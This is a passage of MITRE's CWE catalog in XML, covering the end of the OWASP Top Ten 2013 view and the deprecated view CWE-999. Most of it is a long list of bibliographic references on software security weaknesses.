            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing a good starting point for web application developers who want to code more securely.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="929" View_ID="928"/>
            <Has_Member CWE_ID="930" View_ID="928"/>
            <Has_Member CWE_ID="931" View_ID="928"/>
            <Has_Member CWE_ID="932" View_ID="928"/>
            <Has_Member CWE_ID="933" View_ID="928"/>
            <Has_Member CWE_ID="934" View_ID="928"/>
            <Has_Member CWE_ID="935" View_ID="928"/>
            <Has_Member CWE_ID="936" View_ID="928"/>
            <Has_Member CWE_ID="937" View_ID="928"/>
            <Has_Member CWE_ID="938" View_ID="928"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-926"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationships in this view have been pulled directly from the 2013 OWASP Top 10 document, either from the explicit mapping section, or from weakness types alluded to in the written sections.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-07-16</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="999" Name="DEPRECATED: Weaknesses without Software Fault Patterns" Type="Implicit" Status="Deprecated">
         <Objective>This view has been deprecated. It was based on gaps in another view (CWE-888) related to research that is no longer updated, but was complete with respect to CWE at the time it was conducted.</Objective>
         <Filter>/Weakness_Catalog[false()]</Filter>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated View_Filter</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Description, Name, Type, View_Audience, View_Filter</Modification_Comment>
				</Modification>
				<Contribution Type="Feedback">
					<Contribution_Name>Djenana Campara</Contribution_Name>
					<Contribution_Organization>KDM Analytics</Contribution_Organization>
					<Contribution_Date>2022-07-21</Contribution_Date>
					<Contribution_Comment>suggested that there were errors in this view (leading to changes in taxonomy mappings in some entries), and that this view was outdated, leading to the decision to deprecate</Contribution_Comment>
				</Contribution>
			<Previous_Entry_Name Date="2022-10-13">Weaknesses without Software Fault Patterns</Previous_Entry_Name>
         </Content_History>
      </View>
	</Views>
	<External_References>
		<External_Reference Reference_ID="REF-1">
			<Author>NIST</Author>
			<Title>CWE - Common Weakness Enumeration</Title>
			<URL>http://nvd.nist.gov/cwe.cfm</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-2">
			<Author>OWASP</Author>
			<Title>HttpOnly</Title>
			<URL>https://owasp.org/www-community/HttpOnly</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-3">
			<Author>Michael Howard</Author>
			<Title>Some Bad News and Some Good News</Title>
			<Publication_Year>2002</Publication_Year>
			<URL>https://learn.microsoft.com/en-us/previous-versions/ms972826(v=msdn.10)?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-4">
			<Author>Troy Hunt</Author>
			<Title>C is for cookie, H is for hacker - understanding HTTP only and Secure cookies</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<URL>https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-5">
			<Author>Microsoft</Author>
			<Title>Mitigating Cross-site Scripting With HTTP-only Cookies</Title>
			<URL>https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-6">
			<Author>Katrina Tsipenyuk</Author>
			<Author>Brian Chess</Author>
			<Author>Gary McGraw</Author>
			<Title>Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors</Title>
			<Publication>NIST Workshop on Software Security Assurance Tools Techniques and Metrics</Publication>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---07</Publication_Day>
			<Publisher>NIST</Publisher>
			<URL>https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-7">
			<Author>Michael Howard</Author>
			<Author>David LeBlanc</Author>
			<Title>Writing Secure Code</Title>
			<Edition>2nd Edition</Edition>
			<Publication_Year>2002</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<Publisher>Microsoft Press</Publisher>
			<URL>https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-8">
			<Author>Gregory Baatard</Author>
			<Author>Peter Hannay</Author>
			<Title>The 2011 IDN Homograph Attack Mitigation Survey</Title>
			<Publication_Year>2012</Publication_Year>
			<Publisher>ECU Publications</Publisher>
			<URL>http://ro.ecu.edu.au/cgi/viewcontent.cgi?article=1174&amp;context=ecuworks2012</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-9">
			<Author>Santos, J. C. S.</Author>
			<Author>Tarrit, K.</Author>
			<Author>Mirakhorli, M.</Author>
			<Title>A Catalog of Security Architecture Weaknesses.</Title>
			<Publication>2017 IEEE International Conference on Software Architecture (ICSA)</Publication>
			<Publication_Year>2017</Publication_Year>
			<URL>https://design.se.rit.edu/papers/cawe-paper.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-10">
			<Author>Santos, J. C. S.</Author>
			<Author>Peruma, A.</Author>
			<Author>Mirakhorli, M.</Author>
			<Author>Galster, M.</Author>
			<Author>Sejfia, A.</Author>
			<Title>Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.</Title>
			<Publication>2017 IEEE International Conference on Software Architecture (ICSA)</Publication>
			<Publication_Year>2017</Publication_Year>
			<URL>https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-11">
			<Author>Paul Kocher</Author>
			<Author>Daniel Genkin</Author>
			<Author>Daniel Gruss</Author>
			<Author>Werner Haas</Author>
			<Author>Mike Hamburg</Author>
			<Author>Moritz Lipp</Author>
			<Author>Stefan Mangard</Author>
			<Author>Thomas Prescher</Author>
			<Author>Michael Schwarz</Author>
			<Author>Yuval Yarom</Author>
			<Title>Spectre Attacks: Exploiting Speculative Execution</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://arxiv.org/abs/1801.01203</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-12">
			<Author>Moritz Lipp</Author>
			<Author>Michael Schwarz</Author>
			<Author>Daniel Gruss</Author>
			<Author>Thomas Prescher</Author>
			<Author>Werner Haas</Author>
			<Author>Stefan Mangard</Author>
			<Author>Paul Kocher</Author>
			<Author>Daniel Genkin</Author>
			<Author>Yuval Yarom</Author>
			<Author>Mike Hamburg</Author>
			<Title>Meltdown</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://arxiv.org/abs/1801.01207</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-13">
			<Author>Xuejing Yuan</Author>
			<Author>Yuxuan Chen</Author>
			<Author>Yue Zhao</Author>
			<Author>Yunhui Long</Author>
			<Author>Xiaokang Liu</Author>
			<Author>Kai Chen</Author>
			<Author>Shengzhi Zhang</Author>
			<Author>Heqing Huang</Author>
			<Author>Xiaofeng Wang</Author>
			<Author>Carl A. Gunter</Author>
			<Title>CommanderSong: A Systematic Approach for Practical Adversarial Voice Recognition</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<URL>https://arxiv.org/pdf/1801.08535.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-14">
			<Author>Nicholas Carlini</Author>
			<Author>David Wagner</Author>
			<Title>Audio Adversarial Examples: Targeted Attacks on Speech-to-Text</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://arxiv.org/abs/1801.01944</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-15">
			<Author>James Vincent</Author>
			<Title>Magic AI: These are the Optical Illusions that Trick, Fool, and Flummox Computers</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<Publisher>The Verge</Publisher>
			<URL>https://www.theverge.com/2017/4/12/15271874/ai-adversarial-images-fooling-attacks-artificial-intelligence</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-16">
			<Author>Christian Szegedy</Author>
			<Author>Wojciech Zaremba</Author>
			<Author>Ilya Sutskever</Author>
			<Author>Joan Bruna</Author>
			<Author>Dumitru Erhan</Author>
			<Author>Ian Goodfellow</Author>
			<Author>Rob Fergus</Author>
			<Title>Intriguing properties of neural networks</Title>
			<Publication_Year>2014</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://arxiv.org/abs/1312.6199</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-17">
			<Author>OpenAI</Author>
			<Title>Attacking Machine Learning with Adversarial Examples</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<URL>https://openai.com/research/attacking-machine-learning-with-adversarial-examples</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-18">
			<Author>Secure Software, Inc.</Author>
			<Title>The CLASP Application Security Process</Title>
			<Publication_Year>2005</Publication_Year>
			<URL>https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-19">
			<Author>Nikolai Mansourov</Author>
			<Author>Djenana Campara</Author>
			<Title>System Assurance</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---06</Publication_Day>
			<URL>https://www.elsevier.com/books/system-assurance/mansourov/978-0-12-381414-2</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-20">
			<Author>Ben Calloni</Author>
			<Author>Nikolai Mansourov</Author>
			<Author>Djenana Campara</Author>
			<Title>Task Order 0006: Vulnerability Path Analysis and Demonstration (VPAD). Volume 2 - White Box Definitions of Software Fault Patterns</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<URL>https://apps.dtic.mil/docs/citations/ADB381215</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-21">
			<Author>OWASP</Author>
			<Title>CSV Injection</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---02</Publication_Day>
			<URL>https://owasp.org/www-community/attacks/CSV_Injection</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-22">
			<Author>Jamie Rougvie</Author>
			<Title>Data Extraction to Command Execution CSV Injection</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---06</Publication_Day>
			<URL>https://www.veracode.com/blog/secure-development/data-extraction-command-execution-csv-injection</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-23">
			<Author>George Mauer</Author>
			<Title>The Absurdly Underestimated Dangers of CSV Injection</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---07</Publication_Day>
			<URL>http://georgemauer.net/2017/10/07/csv-injection.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-24">
			<Author>James Kettle</Author>
			<Title>Comma Separated Vulnerabilities</Title>
			<Publication_Year>2014</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---29</Publication_Day>
			<URL>https://rstforums.com/forum/topic/82690-comma-separated-vulnerabilities/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-35">
			<Author>Andrew Horton</Author>
			<Title>Clickjacking For Shells</Title>
			<URL>https://www.exploit-db.com/docs/17881.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-36">
			<Author>OWASP</Author>
			<Title>Clickjacking - OWASP</Title>
			<URL>https://owasp.org/www-community/attacks/Clickjacking</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-37">
			<Author>Internet Security</Author>
			<Title>SecTheory</Title>
			<URL>https://www.sectheory.com/clickjacking.htm</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-38">
			<Author>W3C</Author>
			<Title>Content Security Policy Level 3</Title>
			<URL>https://w3c.github.io/webappsec-csp/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-39">
			<Author>Alex Yumashev</Author>
			<Title>Target="_blank" - the most underestimated vulnerability ever</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<URL>https://medium.com/@jitbit/target-blank-the-most-underestimated-vulnerability-ever-96e328301f4c</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-40">
			<Author>Ben Halpern</Author>
			<Title>The target="_blank" vulnerability by example</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://dev.to/ben/the-targetblank-vulnerability-by-example</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-41">
			<Author>Fortify Software</Author>
			<Title>Fortify Descriptions</Title>
			<URL>http://vulncat.fortifysoftware.com</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-42">
			<Author>Beth Stearns</Author>
			<Title>The Java(TM) Tutorial: The Java Native Interface</Title>
			<Publication_Year>2005</Publication_Year>
			<Publisher>Sun Microsystems</Publisher>
			<URL>http://www.eg.bucknell.edu/~mead/Java-tutorial/native1.1/index.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-43">
			<Author>OWASP</Author>
			<Title>OWASP TOP 10</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<URL>https://github.com/owasp-top/owasp-top-2007</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-44">
			<Author>Michael Howard</Author>
			<Author>David LeBlanc</Author>
			<Author>John Viega</Author>
			<Title>24 Deadly Sins of Software Security</Title>
			<Publication>McGraw-Hill</Publication>
			<Publication_Year>2010</Publication_Year>
		</External_Reference>
		<External_Reference Reference_ID="REF-45">
			<Author>OWASP</Author>
			<Title>OWASP Enterprise Security API (ESAPI) Project</Title>
			<URL>http://www.owasp.org/index.php/ESAPI</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-46">
			<Author>Joshbw</Author>
			<Title>Output Sanitization</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<URL>https://web.archive.org/web/20081208054333/http://analyticalengine.net/archives/58</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-47">
			<Author>Niyaz PK</Author>
			<Title>Sanitizing user data: How and where to do it</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://web.archive.org/web/20090105222005/http://www.diovo.com/2008/09/sanitizing-user-data-how-and-where-to-do-it/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-48">
			<Author>Jeremiah Grossman</Author>
			<Title>Input validation or output filtering, which is better?</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---30</Publication_Day>
			<URL>https://blog.jeremiahgrossman.com/2007/01/input-validation-or-output-filtering.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-49">
			<Author>Jim Manico</Author>
			<Title>Input Validation - Not That Important</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<URL>https://manicode.blogspot.com/2008/08/input-validation-not-that-important.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-50">
			<Author>Michael Eddington</Author>
			<Title>Preventing XSS with Correct Output Encoding</Title>
			<URL>http://phed.org/2008/05/19/preventing-xss-with-correct-output-encoding/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-52">
			<Author>Greg Hoglund</Author>
			<Author>Gary McGraw</Author>
			<Title>Exploiting Software: How to Break Code</Title>
			<Publication_Year>2004</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---27</Publication_Day>
			<Publisher>Addison-Wesley</Publisher>
			<URL>http://www.exploitingsoftware.com/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-53">
			<Author>Alec Muffet</Author>
			<Title>The night the log was forged</Title>
			<URL>http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-56">
			<Author>Microsoft</Author>
			<Title>Using the Strsafe.h Functions</Title>
			<URL>https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-57">
			<Author>Matt Messier</Author>
			<Author>John Viega</Author>
			<Title>Safe C String Library v1.0.3</Title>
			<URL>http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-58">
			<Author>Michael Howard</Author>
			<Title>Address Space Layout Randomization in Windows Vista</Title>
			<URL>https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-59">
			<Author>Arjan van de Ven</Author>
			<Title>Limiting buffer overflows with ExecShield</Title>
			<URL>https://archive.is/saAFo</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-60">
			<Title>PaX</Title>
			<URL>https://en.wikipedia.org/wiki/Executable_space_protection#PaX</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-61">
			<Author>Microsoft</Author>
			<Title>Understanding DEP as a mitigation technology part 1</Title>
			<URL>https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-62">
			<Author>Mark Dowd</Author>
			<Author>John McDonald</Author>
			<Author>Justin Schuh</Author>
			<Title>The Art of Software Security Assessment</Title>
			<Edition>1st Edition</Edition>
			<Publication_Year>2006</Publication_Year>
			<Publisher>Addison Wesley</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-64">
			<Author>Grant Murphy</Author>
			<Title>Position Independent Executables (PIE)</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<Publisher>Red Hat</Publisher>
			<URL>https://www.redhat.com/en/blog/position-independent-executables-pie</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-65">
			<Author>M. Howard</Author>
			<Author>D. LeBlanc</Author>
			<Author>J. Viega</Author>
			<Title>19 Deadly Sins of Software Security</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<Publisher>McGraw-Hill/Osborne</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-66">
			<Author>OWASP, Fortify Software</Author>
			<Title>ASP.NET Misconfiguration: Missing Custom Error Handling</Title>
			<URL>http://www.owasp.org/index.php/ASP.NET_Misconfiguration:_Missing_Custom_Error_Handling</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-74">
			<Author>Jason Lam</Author>
			<Title>Top 25 Series - Rank 3 - Classic Buffer Overflow</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---02</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-76">
			<Author>Sean Barnum</Author>
			<Author>Michael Gegick</Author>
			<Title>Least Privilege</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<URL>https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-90">
			<Title>Buffer UNDERFLOWS: What do you know about it?</Title>
			<Publication>Vuln-Dev Mailing List</Publication>
			<Publication_Year>2004</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<URL>https://seclists.org/vuln-dev/2004/Jan/22</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-96">
			<Author>Jason Lam</Author>
			<Title>Top 25 Series - Rank 14 - Improper Validation of Array Index</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://web.archive.org/web/20100316064026/http://blogs.sans.org/appsecstreetfighter/2010/03/12/top-25-series-rank-14-improper-validation-of-array-index/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-103">
			<Author>Microsoft Corporation</Author>
			<Title>How To: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI</Title>
			<URL>https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff647398(v=pandp.10)?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-104">
			<Author>Microsoft Corporation</Author>
			<Title>How To: Encrypt Configuration Sections in ASP.NET 2.0 Using RSA</Title>
			<URL>https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff650304(v=pandp.10)?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-105">
			<Author>Microsoft Corporation</Author>
			<Title>.NET Framework Developer's Guide - Securing Connection Strings</Title>
			<URL>http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-106">
			<Author>David LeBlanc</Author>
			<Author>Niels Dekker</Author>
			<Title>SafeInt</Title>
			<URL>http://safeint.codeplex.com/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-107">
			<Author>Jason Lam</Author>
			<Title>Top 25 Series - Rank 18 - Incorrect Calculation of Buffer Size</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>http://software-security.sans.org/blog/2010/03/19/top-25-series-rank-18-incorrect-calculation-of-buffer-size</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-116">
			<Author>Steve Christey</Author>
			<Title>Format String Vulnerabilities in Perl Programs</Title>
			<URL>https://seclists.org/fulldisclosure/2005/Dec/91</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-117">
			<Author>Hal Burch</Author>
			<Author>Robert C. Seacord</Author>
			<Title>Programming Language Format String Vulnerabilities</Title>
			<URL>https://drdobbs.com/security/programming-language-format-string-vulne/197002914</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-118">
			<Author>Tim Newsham</Author>
			<Title>Format String Attacks</Title>
			<Publication_Year>2000</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<Publisher>Guardent</Publisher>
			<URL>http://www.thenewsh.com/~newsham/format-string-attacks.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-124">
			<Author>Michael Howard</Author>
			<Title>When scrubbing secrets in memory doesn't work</Title>
			<Publication>BugTraq</Publication>
			<Publication_Year>2002</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-125">
			<Author>Michael Howard</Author>
			<Title>Some Bad News and Some Good News</Title>
			<Publication_Year>2002</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---21</Publication_Day>
			<Publisher>Microsoft</Publisher>
			<URL>https://learn.microsoft.com/en-us/previous-versions/ms972826(v=msdn.10)</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-126">
			<Author>Joseph Wagner</Author>
			<Title>GNU GCC: Optimizer Removes Code Necessary for Security</Title>
			<Publication>Bugtraq</Publication>
			<Publication_Year>2002</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>https://seclists.org/bugtraq/2002/Nov/266</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-140">
			<Author>Greg Hoglund</Author>
			<Author>Gary McGraw</Author>
			<Title>Exploiting Software: How to Break Code</Title>
			<Publication_Year>2004</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---27</Publication_Day>
			<Publisher>Addison-Wesley</Publisher>
			<URL>https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-141">
			<Author>Steve Christey</Author>
			<Title>Blacklist defenses as a breeding ground for vulnerability variants</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://seclists.org/fulldisclosure/2006/Feb/40</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-145">
			<Author>Yves Younan</Author>
			<Title>An overview of common programming security vulnerabilities and possible solutions</Title>
			<Publication>Student thesis section 5.4.3</Publication>
			<Publication_Year>2003</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<URL>http://fort-knox.org/thesis.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-146">
			<Author>blexim</Author>
			<Title>Basic Integer Overflows</Title>
			<Publication>Phrack - Issue 60, Chapter 10</Publication>
			<URL>http://www.phrack.org/issues.html?issue=60&amp;id=10#article</URL>
		</External_Reference>
